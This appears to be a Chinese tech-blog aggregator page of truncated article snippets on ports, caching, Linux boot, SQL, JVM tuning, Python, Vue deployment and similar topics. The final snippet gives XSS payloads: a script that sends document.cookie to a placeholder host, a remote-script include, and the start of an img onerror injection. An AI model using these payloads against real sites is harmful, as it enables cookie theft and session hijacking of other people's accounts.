常用问题1

04-24
1. 常用的端口号? Redis:6379Memcache:11211Mysql:3306Nginx:80Apache:80php-fpm:9000Smtp:465 or 25Ftp:文件传输协议 21ssh:安全外壳协议 22 2. memcache或redis雪崩如何解决? 造成原因: 通常,在一个网站里,mysql数据库处理的请求比较少(20%),负载80%,缓存技术处理大多数请求(80%)如果memcache或redis挂掉,所有请求都会在mysql处理,数据库的处理能力不足会直接宕机.

python requests库爬取网页小实例:ip地址查询

04-24
ip地址查询的全代码: 智力使用ip183网站进行ip地址归属地的查询,我们在查询的过程是通过构造url进行查询的,将要查询的ip地址以参数的形式添加在ip183url后面即可. #ip地址查询的全代码 import requests url="http://m.ip138.com/ip.asp?ip=" try: r=requests.get(url+'202.204.80.112') r.raise_for_status() r.encoding=r.apparent_encodi

Linux之运维自动化(系统安装)

04-24
电脑上装有两套远程连接软件,但我默认使用的是secureCRT连接远程主机,可是这个软件默认不支持图形,就需要借助使用xmanager的passive启动图形了.默认安装了:secureCRT和xmanager步骤:1.启动xmanager的passive2.在secureCRT中执行以下的命令export DISPLAY=172.16.44.44:0.0 ip地址是本机的客户端地址 $export DISPLAY=X.X.X.X:0.0#xhost + $source .bash_profil

Linux之系统启动和内核管理

04-24
系统启动 常用命令: runlevelwho -r/etc/inittab:定义启动级别/etc/rc.d/init.d/NetworkManager 定义网络管理程序的详细信息/etc/rc.d/rc.sysinit 系统初始化脚本/etc/rc.d//rc[0-6].d/定义6个级别对应的服务程序开启或关闭/etc/rc.d/rc.local 开机最后一步要执行的脚本可以放到此文件中自定义服务 chkconfig --list 查看定义服务程序详情列表testsrv需要放入/etc/rc.d

sql查询结果多对多转为一对多返回前端

04-24
企业表 ent_EnterpriseArchives  有id,企业名称 entName veh_Vehicle 车辆表,有所属企业id  companyId,车辆id,车牌号licPlate 目的是查询企业和车辆的树状结果.如下图,然后返回前端. 执行如下sql得到的结果是:[根据车牌号或者企业名称模糊查询] SELECT ent_EnterpriseArchives.id entId, ent_EnterpriseArchives.entName entName, veh_Vehicle.i

Python isinstance

04-23
简述 isinstance() 来判断一个对象是否是已知类型,类似type() 区别 type()不考虑继承关系,而isinstance()会考虑 语法 isinstance(object, classinfo) object -- 实例对象 classinfo -- 可以是直接或间接类名.基本类型或者由它们组成的元组 e.g. >>>a = 2 >>> isinstance (a,int) True >>> isinstance (a,str) Fa

ROS踢出无线WIFI弱信号脚本

04-23
ROS踢出无线WIFI弱信号脚本/interface wireless registration-table :do {:foreach i in=[find] do={:local sin [get $i signal-strength]:set sin [:pick $sin ([:find $sin "-"]+1) 3]:put $sin:if ($sin >="75") do={remove $i}}} 原文地址:https://blog.51cto.

5、JVM--调优案例分析

04-23
5.1.案例分析 5.1.1.高性能硬件上的程序部署策略 假如一个15w/天左右的在线文档类型网站再准备更换硬件系统 新的硬件为4个CPU.16GB物理内存,操作系统为64为Cento是 Resin作为Web服务器 整个服务器暂时没有部署别的应用,所有的硬件资源都可以提供给这个访问量不大的网站使用 管理员未来尽量利用硬件资源选用64位JDK1.5 并且通过-Xmx和-Xms参数将java堆固定再12GB 使用一段时间后发现效果不理想,网站不定期出现长时间失去响应的情况 监控服务器运行状况发现失去

vue项目部署到服务器

04-23
1.配置config目录下index.js index: path.resolve(__dirname, '../dist/index.html'), assetsRoot: path.resolve(__dirname, '../dist'), assetsSubDirectory: 'static', assetsPublicPath: './', proxyTable: {}, 红色部分是添加,绿色部分是修改 2.使用下面命令开始构建 npm run build 3.构建成功后项目根目录下

用户态和内核态的理解和区别

04-23
CPU的两种工作状态:内核态(管态)和用户态(目态). 内核态: 1.系统中既有操作系统的程序,也有普通用户程序.为了安全性和稳定性,操作系统的程序不能随便访问,这就是内核态.即需要执行操作系统的程序就必须转换到内核态才能执行!!! 2. 内核态可以使用计算机所有的硬件资源!!! 用户态:不能直接使用系统资源,也不能改变CPU的工作状态,并且只能访问这个用户程序自己的存储空间!!!! 三种从“用户态”转换到“内核态”的最主要(触发)方式: a.系统调用(用户进程主动发起的):这是用户态进程“主动

C#多条件查出来的多个DataSet,然后循环将数据整合

04-23
private List<string> barList;        public List<string> BarList        {            get { return barList; }            set { barList = value; }        }   DataSet dt = new DataSet();      DataSet dt2 = null;                foreach (string dat

The Ultimate Productivity Hack is Saying No

04-23
The Ultimate Productivity Hack is Saying No By James ClearRead this on JamesClear.com The ultimate productivity hack is saying no. Not doing something will always be faster than doing it. This statement reminds me of the old computer programming sayi

mnist手写数字检测

04-23
# -*- coding: utf-8 -*- """ Created on Tue Apr 23 06:16:04 2019 @author: 92958 """ import numpy as np import tensorflow as tf #下载并载入mnist(55000*28*28图片) #from tensorflow.examples.tutorials.mnist import input_data #创造变量mnist,用

ToNumber

04-23
true becomes 1 and false becomes 0. undefined becomes NaN, but (curiously) null becomes 0 Objects (and arrays) will first be converted to their primitive value equivalent, and the resulting value (if a primitive but not already a number) is coerced t

【winform】splitContainer拆分器控件

04-23
一. 1.panel的显示和隐藏 设置SplitterDistance的数值大小即可改变panel的左右大小.这里设置的数值是指分割线距离左边框的像素,设置成0的话,左半部分就完全看不到了,可以实现一个简单的左侧弹窗 1 splitContainer1.SplitterDistance = 0; 原文地址:https://www.cnblogs.com/wangsure/p/10759812.html

class , field , method

04-23
Class类 由于Class类没有公共构造方法,所以创建Class的对象的方法有以下几种: 1.通过Class.forName静态方法返回Class类的一个实例 2.通过类名.class来获取一个Class类的实例 3.代码运行在非静态区,通过this.getClass()获取Class类的一个实例 Class对象既然是描述一个类,那么我们通过该Class的实例能够做什么事情? 1.获取类名 2.获取类的修饰限定符 3.获得一个类的属性 1).根据一个属性名获取一个属性的描述 2).获得一个类的

IDEA如何快速搭建Java开发环境,IntelliJ IDEA mac新手入门

04-23
作为IntelliJ IDEA mac新手,IDEA如何快速搭建Java开发环境呢?今天小编就给大家带来了IntelliJ IDEA mac使用教程,想知道IDEA如何快速搭建Java开发环境? 全局JDK(默认配置) 具体步骤:顶部工具栏 File ->Other Settins -> Default Project Structure -> SDKs -> JDK 示例: 根据下图步骤设置JDK目录,最后点击OK保存. 注:SDKs全称是Software Development

用代理抓取微信文章

04-23
GitHub:https://github.com/LXL-YAN/weixinArticles 原文地址:https://www.cnblogs.com/LXL616/p/10759571.html

函数的定义和嵌套

04-23
函数 ''' 函数: >>> 重复利用的工具 >>> 可以完成特定功能的代码块,函数就是存放代码块的容器 ''' 定义函数的语法 函数四部分 ''' 1. 函数名:使用该函数的依据 2. 函数体:完成功能的代码块 3. 返回值:功能完成的反馈结果 4. 参数:完成功能需要的条件信息 ''' 用def关键词来声明函数 def 函数名(参数们): 函数体 return '返回值' 如何使用函数 ''' 函数名:拿到函数的地址 函数名(): 拿到函数的地址,并执行函数中存放的

xss 加载远程第三方JS

04-23
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script> 简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议 <script src=//xxx.xxx/a.js></script> img图片 图片创建script节点,链接远程第三方JS <img src=x oner